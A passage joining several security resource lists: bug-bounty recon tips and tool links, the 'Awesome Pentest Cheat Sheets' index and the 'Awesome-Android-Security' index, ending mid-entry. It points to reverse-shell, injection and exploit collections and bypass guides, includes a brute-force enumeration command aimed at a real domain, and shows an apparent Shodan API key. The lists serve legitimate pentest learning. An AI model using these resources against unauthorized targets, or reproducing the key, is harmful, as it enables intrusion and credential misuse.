Payloads 14. PayloadsAllTheThings --- ### Automation Tools by different Hunters:- C-Tier: automation built around scripting up other tools in bash or python. Step based, no workflow. Few techniques. Little extensibility. B-Tier: automation writing a few of their own modules. Some GUI or advanced workflow. Medium techniques. Runs point-in-time. Flat files. A-Tier: automation writing all their own modules. Has GUI. Runs iterativley. Manages data via db. S-Tier: automation writing their own modules. Has GUI. Runs iterativley. Manages data via db. Scales across multiple boxes. Sends alerts to user. Uses novel techniques and iterates quickly. ML + AI. Frameworks (C-Tier) https://github.com/AdmiralGaust/bountyRecon https://github.com/offhourscoding/recon https://github.com/Sambal0x/Recon-tools https://github.com/JoshuaMart/AutoRecon https://github.com/yourbuddy25/Hunter https://github.com/venom26/recon/blob/master/ultimate_recon.sh https://gist.github.com/dwisiswant0/5f647e3d406b5e984e6d69d3538968cd Frameworks (B-Tier) https://github.com/capt-meelo/LazyRecon https://github.com/Screetsec/Sudomy https://github.com/phspade/Automated-Scanner https://github.com/devanshbatham/Gorecon https://github.com/shmilylty/OneForAll https://github.com/LordNeoStark/tugarecon https://github.com/SolomonSklash/chomp-scan https://github.com/TypeError/domainedLazyRecon (A-Tier) https://github.com/Edu4rdSHL/findomain https://github.com/SilverPoision/Rock-ON https://github.com/epi052/recon-pipeline --- ### Tips 1. wc -l ---for word count 2. grep -v ".tmi" 3. amass enum -brute -d twitch.tv -src 4. echo $PATH -----To show all the paths where apps are installed use export PATH=$PATH:/pathtofolder --for path set(Temp) and add in bash.rc(for permanent) ln -s /opt/hackerEnv/hackerEnv /usr/local/bin/ --another command to create a link like shortcut https://linuxize.com/post/how-to-create-symbolic-links-in-linux-using-the-ln-command/ 5. /.config/amass/config.ini -----to config api of amass 6. shodan init 61TvA2dNwxNxmWziZxKzR5aO9tFD00Nj7.bYD);n%?Le984)xg2Ye3n^3Eb)9(8*g 8. https://www.wolframalpha.com/input/?i=target.com to analyze Target 9. https://www.nmmapper.com/ online subdomain finder 10. https://chaos.projectdiscovery.io/#/ Great tools for Analysis and subdoamin finder in secs. 11. https://owasp.org/www-community/xss-filter-evasion-cheatsheet XSS Cheat Sheet 12. https://medium.com/@ehsahil/bash-cookbook-for-everyone-part-2-b70d40610025 Bash For Eyeryone 13. https://httpstatus.io/ Bulk url Status Checker 14. https://tools.w3cub.com/ Free Collection of Tools 15.https://pentester.land/list-of-bug-bounty-writeups.html List of Bug Bounty Writeups --- ### Tools to Install:- DNS Validator Bug Bounty Dorks\ waybackurl --- ### BUG BOUNTY PLATFORMS Bugcrowd Hackerone Hackenproof Bugbountyjp Intigriti Open Bug Bounty Yogosha --- ### Best Books Web Application Haackers Handbook Web hacking 101 Mastering Modern Web Pen Testing Bug Bounty Playbook Real World Bug Hunting Owasp Testing Guide Mobile Application Hackers Handbook --- ### Burp Extensions iprotate --- ### Github Repositories https://github.com/vishal9066/AwesomeXSS https://github.com/vishal9066/RegExAPI For API findings on Targets
# Awesome Pentest Cheat Sheets [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) Collection of cheat sheets useful for pentesting ### Contribution Your contributions and suggestions are heartily welcome. Please check the [Contributing Guidelines](.github/CONTRIBUTING.md) for more details. ## Security Talks and Videos * [InfoCon - Hacking Conference Archive](https://infocon.org/cons/) * [Curated list of Security Talks and Videos](https://github.com/PaulSec/awesome-sec-talks) ## General * [Docker Cheat Sheet](https://github.com/wsargent/docker-cheat-sheet) * [Mobile App Pentest Cheat Sheet](https://github.com/tanprathan/MobileApp-Pentest-Cheatsheet) * [OSX Command Line Cheat Sheet](https://github.com/herrbischoff/awesome-osx-command-line) * [PowerShell Cheat Sheet](https://pen-testing.sans.org/blog/2016/05/25/sans-powershell-cheat-sheet) - SANS PowerShell Cheat Sheet from SEC560 Course [(PDF version)](docs/PowerShellCheatSheet_v41.pdf) * [Rawsec's CyberSecurity Inventory](https://inventory.raw.pm/) - An open-source inventory of tools, resources, CTF platforms and Operating Systems about CyberSecurity. ([Source](https://gitlab.com/rawsec/rawsec-cybersecurity-list)) * [Regexp Security Cheat Sheet](https://github.com/attackercan/regexp-security-cheatsheet) * [Security Cheat Sheets](https://github.com/teamghsoftware/security-cheatsheets) - A collection of security cheat sheets * [Unix / Linux Cheat Sheet](http://cheatsheetworld.com/programming/unix-linux-cheat-sheet/) ## Discovery * [Google Dorks](https://www.exploit-db.com/google-hacking-database) - Google Dorks Hacking Database (Exploit-DB) * [Shodan](docs/shodan.md) - Shodan is a search engine for finding specific devices, and device types, that exist online * [ZoomEye](http://zoomeye.org) - Zoomeye is a Cyberspace Search Engine recording information of devices, websites, services and components etc. * [Amass](https://github.com/OWASP/Amass) - OWASP Network mapping of attack surfaces and external asset discovery using open source information ## Enumeration * [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) - Python tool for enumerating information from Windows/Samba systems ## Exploitation * [Empire Cheat Sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/Empire.pdf) - [Empire](http://www.powershellempire.com) is a PowerShell and Python post-exploitation framework * [Exploit Development Cheat Sheet](docs/pentest-exploit-dev-cheatsheet.jpg) - [@ovid](https://twitter.com/ovid)'s exploit development in one picture * [Java Deserialization Cheat Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet) - A cheat sheet for pentesters about Java Native Binary Deserialization vulnerabilities * [Local File Inclusion (LFI) Cheat Sheet #1](https://highon.coffee/blog/lfi-cheat-sheet/) - Arr0way's LFI Cheat Sheet * [Local File Inclusion (LFI) Cheat Sheet #2](https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/) - Aptive's LFI Cheat Sheet * [Metasploit Unleashed](https://www.offensive-security.com/metasploit-unleashed/) - The ultimate guide to the Metasploit Framework * [Metasploit Cheat Sheet](https://www.tunnelsup.com/metasploit-cheat-sheet/) - A quick reference guide [(PNG version)](docs/Metasploit-CheatSheet.png)[(PDF version)](docs/Metasploit-CheatSheet.pdf) * [PowerSploit Cheat Sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/PowerSploit.pdf) - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) is a powershell post-exploitation framework * [PowerView 2.0 Tricks](https://gist.github.com/HarmJ0y/3328d954607d71362e3c) * [PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) * [PHP htaccess Injection Cheat Sheet](https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet) - htaccess Injection Cheat Sheet by PHP Secure Configuration Checker * [Reverse Shell Cheat Sheet #1](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) - Pentestmonkey Reverse Shell Cheat Sheet * [Reverse Shell Cheat Sheet #2](https://highon.coffee/blog/reverse-shell-cheat-sheet) - Arr0way's Reverse Shell Cheat Sheet * [SQL Injection Cheat Sheet](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet) - Netsparker's SQL Injection Cheat Sheet * [SQLite3 Injection Cheat Sheet](http://atta.cked.me/home/sqlite3injectioncheatsheet) ## Privilege Escalation ### Learn Privilege Escalation * [Windows / Linux Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop) - The Privilege Escalation Workshop covers all known (at the time) attack vectors of local user privilege escalation on both Linux and Windows operating systems and includes slides, videos, test VMs. <img src="https://pbs.twimg.com/media/DAZsE2VUQAA_bpZ.jpg"> ### Linux Privilege Escalation * [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - Linux Privilege Escalation by [@g0tmi1k](https://twitter.com/g0tmi1k) * [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester) - Linux privilege escalation auditing tool written in bash (updated) * [Linux_Exploit_Suggester.pl](https://github.com/PenturaLabs/Linux_Exploit_Suggester) - Linux Exploit Suggester written in Perl (last update 3 years ago) * [Linux_Exploit_Suggester.pl v2](https://github.com/jondonas/linux-exploit-suggester-2) - Next-generation exploit suggester based on Linux_Exploit_Suggester (updated) * [Linux Soft Exploit Suggester](https://github.com/belane/linux-soft-exploit-suggester) - linux-soft-exploit-suggester finds exploits for all vulnerable software in a system helping with the privilege escalation. It focuses on software packages instead of Kernel vulnerabilities * [checksec.sh](https://github.com/slimm609/checksec.sh) - bash script to check the properties of executables (like PIE, RELRO, PaX, Canaries, ASLR, Fortify Source) * [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) - This script is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text passwords and applicable exploits (@SecuritySift) * [LinEnum](https://github.com/rebootuser/LinEnum) - This tool is great at running through a heap of things you should check on a Linux system in the post exploit process. This include file permissions, cron jobs if visible, weak credentials etc.(@Rebootuser) * [linPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) - LinPEAS - Linux Privilege Escalation Awesome Script. Check the Local Linux Privilege Escalation checklist from [book.hacktricks.xyz](https://book.hacktricks.xyz) * [MimiPenguin](https://github.com/huntergregal/mimipenguin) - A tool to dump the login password from the current linux desktop user. Adapted from the idea behind the popular Windows tool mimikatz. ### Windows Privilege Escalation * [PowerUp](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc) - Excellent powershell script for checking of common Windows privilege escalation vectors. Written by [harmj0y](https://twitter.com/harmj0y) [(direct link)](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1) * [PowerUp Cheat Sheet](https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf) * [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester) - Tool for detection of missing security patches on the windows operating system and mapping with the public available exploits * [Sherlock](https://github.com/rasta-mouse/Sherlock) - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities * [Watson](https://github.com/rasta-mouse/Watson) - Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities * [Precompiled Windows Exploits](https://github.com/abatchy17/WindowsExploits) - Collection of precompiled Windows exploits * [Metasploit Modules](https://github.com/rapid7/metasploit-framework) * post/multi/recon/local_exploit_suggester - suggests local meterpreter exploits that can be used * post/windows/gather/enum_patches - helps to identify any missing patches ## Tools * [Nmap Cheat Sheet](docs/nmap.md) * [SQLmap Cheat Sheet](docs/sqlmap-cheatsheet-1.0-SDB.pdf) * [SQLmap Tamper Scripts](https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423) - SQLmap Tamper Scripts General/MSSQL/MySQL * [VIM Cheatsheet](https://i.imgur.com/YLInLlY.png) * [Wireshark Display Filters](docs/Wireshark_Display_Filters.pdf) - Filters for the best sniffing tool # Tools Online * [XSS'OR Encoder/Decoder](http://xssor.io/#ende) - Online Decoder/Encoder for testing purposes (@evilcos) * [WebGun](https://brutelogic.com.br/webgun/) - WebGun, XSS Payload Creator (@brutelogic) * [Hackvertor](https://hackvertor.co.uk) - Tool to convert various encodings and generate attack vectors (@garethheyes) * [JSFiddle](https://jsfiddle.net) - Test and share XSS payloads, [Example PoC](https://jsfiddle.net/xqjpsh65/) ## Payloads ### Genaral * [Fuzzdb](https://github.com/fuzzdb-project/fuzzdb) - Dictionary of attack patterns and primitives for black-box application testing Polyglot Challenge with submitted solutions * [SecList](https://github.com/danielmiessler/SecLists) - A collection of multiple types of lists used during security assessments. List types include usernames, passwords, URLs, sensitive data grep strings, fuzzing payloads, and many more ### XSS * [XSS Polyglot Payloads #1](https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot) - Unleashing an Ultimate XSS Polyglot list by 0xsobky * [XSS Polyglot Payloads #2](http://polyglot.innerht.ml/) - [@filedescriptor](https://twitter.com/filedescriptor)'s XSS * [Browser's-XSS-Filter-Bypass-Cheat-Sheet](https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet)- Excellent List of working XSS bypasses running on the latest version of Chrome / Safari, IE 11 / Edge created by Masato Kinugawa ## Write-Ups * [Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) - huge list of bug bounty write-up that is categorized by the bug type (SQLi, XSS, IDOR, etc.) * [Write-Ups for CTF challenges](https://ctftime.org/writeups) * [Facebook Bug Bounties](https://www.facebook.com/notes/phwd/facebook-bug-bounties/707217202701640) - Categorized Facebook Bug Bounties write-ups ## Learning Platforms ### Online * [Hack The Box :: Penetration Testing Labs](https://www.hackthebox.eu) * [OWASP Vulnerable Web Applications Directory Project (Online)](https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=On-Line_apps) - List of online available vulnerable applications for learning purposes * [Pentestit labs](https://lab.pentestit.ru) - Hands-on Pentesting Labs (OSCP style) * [Root-me.org](https://www.root-me.org) - Hundreds of challenges are available to train yourself in different and not simulated environments * [Vulnhub.com](https://www.vulnhub.com) - Vulnerable By Design VMs for practical 'hands-on' experience in digital security ### Off-Line * [Damn Vulnerable Xebia Training Environment](https://github.com/davevs/dvxte) - Docker Container including several vurnerable web applications (DVWA,DVWServices, DVWSockets, WebGoat, Juiceshop, Railsgoat, django.NV, Buggy Bank, Mutilidae II and more) * [OWASP Vulnerable Web Applications Directory Project (Offline)](https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Off-Line_apps) - List of offline available vulnerable applications for learning purposes * [Vulnerable SOAP Web Service](https://github.com/anil-yelken/Vulnerable-Soap-Service) - a vulnerable SOAP web service lab environment * [Vulnerable Flask Web App](https://github.com/anil-yelken/Vulnerable-Flask-App) - vulnerable Flask Web App lab environment ## Wireless Hacking ### Tools * [wifite2](https://github.com/coreb1t/wifite2) - Full automated WiFi security testing script ## Defence Topics * [Docker Security Cheat Sheet](https://container-solutions.com/content/uploads/2015/06/15.06.15_DockerCheatSheet_A2.pdf) - The following tips should help you to secure a container based system [(PDF version)](docs/DockerCheatSheet.pdf) * [Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening) - A curated list of awesome Security Hardening techniques for Windows ## Programming * [JavaScript Cheat Sheet](https://github.com/coodict/javascript-in-one-pic) - Learn javascript in one picture [(Online version)](https://git.io/Js-pic) [(PNG version)](docs/js-in-one-pic.png) * [Python Cheat Sheet #1](https://github.com/siyuanzhao/python3-in-one-pic) - Learn python3 in one picture [(PNG version)](docs/python-3-in-one-pic.png) * [Python Cheat Sheet #2 ](https://github.com/coodict/python3-in-one-pic) - Learn python3 in one picture [(Online version)](https://git.io/Coo-py3) [(PNG version)](docs/py3-in-one-pic.png) * [Python Snippets Cheat Sheet](docs/python-snippets.md) - List of helpful re-usable code snippets in Python
# Awesome-Android-Security ![awesome](https://awesome.re/badge.svg) ![Screenshot](img/androidsec.png) # Table of Contents - [Blog](#blog) - [How To's](#how-tos) - [Paper](#paper) - [Books](#books) - [Course](#course) - [Tools](#tools) * [Static Analysis Tools](#Static-Analysis) * [Dynamic Analysis Tools](#Dynamic-Analysis) * [Online APK Analyzers](#Online-APK-Analyzers) * [Online APK Decompiler](#Online-APK-Decompiler) * [Forensic Analysis Tools](#Forensic-Analysis) - [Labs](#labs) - [Talks](#talks) - [Misc](#misc) - [Bug Bounty & Writeups](#Bug-Bounty-&-Writeup) - [Cheat Sheet](#Cheat-Sheet) - [Checklist](#Checklist) - [Bug Bounty Report](#Bug-Bounty-Report) # Blog * [Evernote: Universal-XSS, theft of all cookies from all sites, and more](https://blog.oversecured.com/Evernote-Universal-XSS-theft-of-all-cookies-from-all-sites-and-more/) * [Interception of Android implicit intents](https://blog.oversecured.com/Interception-of-Android-implicit-intents/) * [AAPG - Android application penetration testing guide](https://nightowl131.github.io/AAPG/) * [TikTok: three persistent arbitrary code executions and one theft of arbitrary files](https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/) * [Persistent arbitrary code execution in Android's Google Play Core Library: details, explanation and the PoC - CVE-2020-8913](https://blog.oversecured.com/Oversecured-automatically-discovers-persistent-code-execution-in-the-Google-Play-Core-Library/) * [Android: Access to app protected components](https://blog.oversecured.com/Android-Access-to-app-protected-components/) * [Android: arbitrary code execution via third-party package contexts](https://blog.oversecured.com/Android-arbitrary-code-execution-via-third-party-package-contexts/) * [Android Pentesting Labs - Step by Step guide for beginners](https://medium.com/bugbountywriteup/android-pentesting-lab-4a6fe1a1d2e0) * [An Android Hacking Primer](https://medium.com/swlh/an-android-hacking-primer-3390fef4e6a0) * [An Android Security tips](https://developer.android.com/training/articles/security-tips) * [OWASP Mobile Security Testing Guide](https://www.owasp.org/index.php/OWASP_Mobile_Security_Testing_Guide) * [Security Testing for Android Cross Platform Application](https://3xpl01tc0d3r.blogspot.com/2019/09/security-testing-for-android-app-part1.html) * [Dive deep into Android Application Security](https://blog.0daylabs.com/2019/09/18/deep-dive-into-Android-security/) * [Pentesting Android Apps Using Frida](https://www.notsosecure.com/pentesting-android-apps-using-frida/) * [Mobile Security Testing Guide](https://mobile-security.gitbook.io/mobile-security-testing-guide/) * [Android Applications Reversing 101](https://www.evilsocket.net/2017/04/27/Android-Applications-Reversing-101/#.WQND0G3TTOM.reddit) * [Android Security Guidelines](https://developer.box.com/en/guides/security/) * [Android WebView Vulnerabilities](https://pentestlab.blog/2017/02/12/android-webview-vulnerabilities/) * [OWASP Mobile Top 10](https://www.owasp.org/index.php/OWASP_Mobile_Top_10) * [Practical Android Phone Forensics](https://resources.infosecinstitute.com/practical-android-phone-forensics/) * [Mobile Pentesting With Frida](https://drive.google.com/file/d/1JccmMLi6YTnyRrp_rk6vzKrUX3oXK_Yw/view) * [Zero to Hero - Mobile Application Testing - Android Platform](https://nileshsapariya.blogspot.com/2016/11/zero-to-hero-mobile-application-testing.html) * [Detecting Dynamic Loading in Android Applications](https://sayfer.io/blog/dynamic-loading-in-android-applications-with-proc-maps/) # How To's * [How To Configuring Burp Suite With Android Nougat](https://blog.ropnop.com/configuring-burp-suite-with-android-nougat/) * [How To Bypassing Xamarin Certificate Pinning](https://www.gosecure.net/blog/2020/04/06/bypassing-xamarin-certificate-pinning-on-android/) * [How To Bypassing Android Anti-Emulation](https://www.juanurs.com/Bypassing-Android-Anti-Emulation-Part-I/) * [How To Secure an Android Device](https://source.android.com/security) * [Android Root Detection Bypass Using Objection and Frida Scripts](https://medium.com/@GowthamR1/android-root-detection-bypass-using-objection-and-frida-scripts-d681d30659a7) * [Root Detection Bypass By Manual Code Manipulation.](https://medium.com/@sarang6489/root-detection-bypass-by-manual-code-manipulation-5478858f4ad1) * [Magisk Systemless Root - Detection and Remediation](https://www.mobileiron.com/en/blog/magisk-android-rooting) * [How to use FRIDA to bruteforce Secure Startup with FDE-encryption on a Samsung G935F running Android 8](https://github.com/Magpol/fridafde) # Paper * [AndrODet: An adaptive Android obfuscation detector](https://arxiv.org/pdf/1910.06192.pdf) * [GEOST BOTNET - the discovery story of a new Android banking trojan](http://public.avast.com/research/VB2019-Garcia-etal.pdf) * [Dual-Level Android Malware Detection](https://www.mdpi.com/2073-8994/12/7/1128) * [An Investigation of the Android Kernel Patch Ecosystem](https://www.usenix.org/conference/usenixsecurity21/presentation/zhang) # Books * [SEI CERT Android Secure Coding Standard](https://www.securecoding.cert.org/confluence/display/android/Android+Secure+Coding+Standard) * [Android Security Internals](https://www.oreilly.com/library/view/android-security-internals/9781457185496/) * [Android Cookbook](https://androidcookbook.com/) * [Android Hacker's Handbook](https://www.amazon.com/Android-Hackers-Handbook-Joshua-Drake/dp/111860864X) * [Android Security Cookbook](https://www.packtpub.com/in/application-development/android-security-cookbook) * [The Mobile Application Hacker's Handbook](https://www.amazon.in/Mobile-Application-Hackers-Handbook-ebook/dp/B00TSA6KLG) * [Android Malware and Analysis](https://www.oreilly.com/library/view/android-malware-and/9781482252200/) * [Android Security: Attacks and Defenses](https://www.crcpress.com/Android-Security-Attacks-and-Defenses/Misra-Dubey/p/book/9780367380182) * [Learning Penetration Testing For Android Devices](https://www.amazon.com/Learning-Penetration-Testing-Android-Devices-ebook/dp/B077L7SNG8) * [Android Hacking 2020 Edition](https://www.amazon.com/Hacking-Android-TERRY-D-CLARK-ebook/dp/B08MD2D1SJ) # Course * [Android Reverse Engineering_pt-BR](https://www.youtube.com/watch?v=eHdDS2e_qf0&list=PL4zZ9lJ-RCbfv6f6Jc8cJ4ljKqENkTfi7) * [Learning-Android-Security](https://www.lynda.com/Android-tutorials/Learning-Android-Security/689762-2.html) * [Advanced Android Development](https://developer.android.com/courses/advanced-training/overview) * [Learn the art of mobile app development](https://www.edx.org/professional-certificate/harvardx-computer-science-and-mobile-apps) * [Learning Android Malware Analysis](https://www.linkedin.com/learning/learning-android-malware-analysis) * [Android App Reverse Engineering 101](https://maddiestone.github.io/AndroidAppRE/) * [MASPT V2](https://www.elearnsecurity.com/course/mobile_application_security_and_penetration_testing/) * [Android Pentration Testing(Persian)](https://www.youtube.com/watch?v=XqS_bA6XfNU&list=PLvVo-xqnJCI7rftDaiEtWFLXlkxN-1Nxn) # Tools #### Static Analysis * [Apktool:A tool for reverse engineering Android apk files](https://ibotpeaches.github.io/Apktool/) * [quark-engine - An Obfuscation-Neglect Android Malware Scoring System](https://github.com/quark-engine/quark-engine) * [DeGuard:Statistical Deobfuscation for Android](http://apk-deguard.com/) * [jadx - Dex to Java decompiler](https://github.com/skylot/jadx/releases) * [Amandroid – A Static Analysis Framework](http://pag.arguslab.org/argus-saf) * [Androwarn – Yet Another Static Code Analyzer](https://github.com/maaaaz/androwarn/) * [Droid Hunter – Android application vulnerability analysis and Android pentest tool](https://github.com/hahwul/droid-hunter) * [Error Prone – Static Analysis Tool](https://github.com/google/error-prone) * [Findbugs – Find Bugs in Java Programs](http://findbugs.sourceforge.net/downloads.html) * [Find Security Bugs – A SpotBugs plugin for security audits of Java web applications.](https://github.com/find-sec-bugs/find-sec-bugs/) * [Flow Droid – Static Data Flow Tracker](https://github.com/secure-software-engineering/FlowDroid) * [Smali/Baksmali – Assembler/Disassembler for the dex format](https://github.com/JesusFreke/smali) * [Smali-CFGs – Smali Control Flow Graph’s](https://github.com/EugenioDelfa/Smali-CFGs) * [SPARTA – Static Program Analysis for Reliable Trusted Apps](https://www.cs.washington.edu/sparta) * [Gradle Static Analysis Plugin](https://github.com/novoda/gradle-static-analysis-plugin) * [Checkstyle – A tool for checking Java source code](https://github.com/checkstyle/checkstyle) * [PMD – An extensible multilanguage static code analyzer](https://github.com/pmd/pmd) * [Soot – A Java Optimization Framework](https://github.com/Sable/soot) * [Android Quality Starter](https://github.com/pwittchen/android-quality-starter) * [QARK – Quick Android Review Kit](https://github.com/linkedin/qark) * [Infer – A Static Analysis tool for Java, C, C++ and Objective-C](https://github.com/facebook/infer) * [Android Check – Static Code analysis plugin for Android Project](https://github.com/noveogroup/android-check) * [FindBugs-IDEA Static byte code analysis to look for bugs in Java code](https://plugins.jetbrains.com/plugin/3847-findbugs-idea) * [APK Leaks – Scanning APK file for URIs, endpoints & secrets](https://github.com/dwisiswant0/apkleaks) * [Trueseeing – fast, accurate and resillient vulnerabilities scanner for Android apps](https://github.com/monolithworks/trueseeing) * [StaCoAn – crossplatform tool which aids developers, bugbounty hunters and ethical hackers](https://github.com/vincentcox/StaCoAn) * [APKScanner](https://github.com/n3k00n3/APKScanner) #### Dynamic Analysis * [Mobile-Security-Framework MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) * [Magisk v20.2 - Root & Universal Systemless Interface](https://github.com/topjohnwu/Magisk5) * [Runtime Mobile Security (RMS) - is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) * [Droid-FF - Android File Fuzzing Framework](https://github.com/antojoseph/droid-ff) * [Drozer](https://github.com/FSecureLABS/drozer) * [Inspeckage](https://github.com/ac-pm/Inspeckage) * [PATDroid - Collection of tools and data structures for analyzing Android applications](https://github.com/mingyuan-xia/PATDroid) * [Radare2 - Unix-like reverse engineering framework and commandline tools](https://github.com/radareorg/radare2) * [Cutter - Free and Open Source RE Platform powered by radare2](https://cutter.re/) * [ByteCodeViewer - Android APK Reverse Engineering Suite (Decompiler, Editor, Debugger)](https://bytecodeviewer.com/) #### Online APK Analyzers * [Oversecured](https://oversecured.com/) * [Android Observatory APK Scan](https:/androidobservatory.org/upload) * [AndroTotal](http://andrototal.org/) * [VirusTotal](https://www.virustotal.com/#/home/upload) * [Scan Your APK](https://scanyourapk.com/) * [AVC Undroid](https://undroid.av-comparatives.org/index.php) * [OPSWAT](https://metadefender.opswat.com/#!/) * [ImmuniWeb Mobile App Scanner](https://www.htbridge.com/mobile/) * [Ostor Lab](https://www.ostorlab.co/scan/mobile/) * [Quixxi](https://quixxisecurity.com/) * [TraceDroid](http://tracedroid.few.vu.nl/submit.php) * [Visual Threat](http://www.visualthreat.com/UIupload.action) * [App Critique](https://appcritique.boozallen.com/) * [Jotti's malware scan](https://virusscan.jotti.org/) * [kaspersky scanner](https://opentip.kaspersky.com/) #### Online APK Decompiler * [Android APK Decompiler](http://www.decompileandroid.com/) * [Java Decompiler APk](http://www.javadecompilers.com/apk) * [APK DECOMPILER APP](https://www.apkdecompilers.com/) * [DeAPK is an open-source, online APK decompiler ](https://deapk.vaibhavpandey.com/) * [apk and dex decompilation back to Java source code](http://www.decompiler.com/) * [APK Decompiler Tools](https://apk.tools/tools/apk-decompiler/alternateURL/) #### Forensic Analysis * [Forensic Analysis for Mobile Apps (FAMA)](https://github.com/labcif/FAMA) * [Andriller](https://github.com/den4uk/andriller) * [Autopsy](https://www.autopsy.com/) * [bandicoot](https://github.com/computationalprivacy/bandicoot) * [Fridump-A universal memory dumper using Frida](https://github.com/Nightbringer21/fridump) * [LiME - Linux Memory Extractor](https://github.com/504ensicsLabs/LiME) # Labs * [Damn-Vulnerable-Bank](https://github.com/rewanth1997/Damn-Vulnerable-Bank) * [OVAA (Oversecured Vulnerable Android App)](https://github.com/oversecured/ovaa) * [DIVA (Damn insecure and vulnerable App)](https://github.com/payatu/diva-android) * [OWASP Security Shepherd ](https://github.com/OWASP/SecurityShepherd) * [Damn Vulnerable Hybrid Mobile App (DVHMA)](https://github.com/logicalhacking/DVHMA) * [OWASP-mstg(UnCrackable Mobile Apps)](https://github.com/OWASP/owasp-mstg/tree/master/Crackmes) * [VulnerableAndroidAppOracle](https://github.com/dan7800/VulnerableAndroidAppOracle) * [Android InsecureBankv2](https://github.com/dineshshetty/Android-InsecureBankv2) * [Purposefully Insecure and Vulnerable Android Application (PIIVA)](https://github.com/htbridge/pivaa) * [Sieve app(An android application which exploits through android components)](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) * [DodoVulnerableBank(Insecure Vulnerable Android Application that helps to learn hacing and securing apps)](https://github.com/CSPF-Founder/DodoVulnerableBank) * [Digitalbank(Android Digital Bank Vulnerable Mobile App)](https://github.com/CyberScions/Digitalbank) * [AppKnox Vulnerable Application](https://github.com/appknox/vulnerable-application) * [Vulnerable Android Application](https://github.com/Lance0312/VulnApp) * [Android Security Labs](https://github.com/SecurityCompass/AndroidLabs) * [Android-security Sandbox](https://github.com/rafaeltoledo/android-security) * [VulnDroid(CTF Style Vulnerable Android App)](https://github.com/shahenshah99/VulnDroid) * [FridaLab](https://rossmarks.uk/blog/fridalab/) * [Santoku Linux - Mobile Security VM](https://santoku-linux.com/) * [AndroL4b - A Virtual Machine For Assessing Android applications, Reverse Engineering and Malware Analysis](https://github.com/sh4hin/Androl4b) # Talks * [One Step Ahead of Cheaters -- Instrumenting Android Emulators](https://www.youtube.com/watch?v=L3AniAxp_G4) * [Vulnerable Out of the Box: An Evaluation of Android Carrier Devices](https://www.youtube.com/watch?v=R2brQvQeTvM) * [Rock appround the clock: Tracking malware developers by Android](https://www.youtube.com/watch?v=wd5OU9NvxjU) * [Chaosdata - Ghost in the Droid: Possessing Android Applications with ParaSpectre](https://www.youtube.com/watch?v=ohjTWylMGEA) * [Remotely Compromising Android and iOS via a Bug in Broadcom's Wi-Fi Chipsets](https://www.youtube.com/watch?v=TDk2RId8LFo) * [Honey, I Shrunk the Attack Surface – Adventures in Android Security Hardening](https://www.youtube.com/watch?v=EkL1sDMXRVk) * [Hide Android Applications in Images](https://www.youtube.com/watch?v=hajOlvLhYJY) * [Scary Code in the Heart of Android](https://www.youtube.com/watch?v=71YP65UANP0) * [Fuzzing Android: A Recipe For Uncovering Vulnerabilities Inside System Components In Android](https://www.youtube.com/watch?v=q_HibdrbIxo) * [Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Native Library](https://www.youtube.com/watch?v=s0Tqi7fuOSU) * [Android FakeID Vulnerability Walkthrough](https://www.youtube.com/watch?v=5eJYCucZ-Tc) * [Unleashing D* on Android Kernel Drivers](https://www.youtube.com/watch?v=1XavjjmfZAY) * [The Smarts Behind Hacking Dumb Devices](https://www.youtube.com/watch?v=yU1BrY1ZB2o) * [Overview of common Android app vulnerabilities](https://www.bugcrowd.com/resources/webinars/overview-of-common-android-app-vulnerabilities/) * [Android security architecture](https://www.youtube.com/watch?v=3asW-nBU-JU) * [Get the Ultimate Privilege of Android Phone](https://vimeo.com/335948808) # Misc * [Android Malware Adventures](https://docs.google.com/presentation/d/1pYB522E71hXrp4m3fL3E3fnAaOIboJKqpbyE5gSsOes/edit) * [Android-Reports-and-Resources](https://github.com/B3nac/Android-Reports-and-Resources/blob/master/README.md) * [Hands On Mobile API Security](https://hackernoon.com/hands-on-mobile-api-security-get-rid-of-client-secrets-a79f111b6844) * [Android Penetration Testing Courses](https://medium.com/mobile-penetration-testing/android-penetration-testing-courses-4effa36ac5ed) * [Lesser-known Tools for Android Application 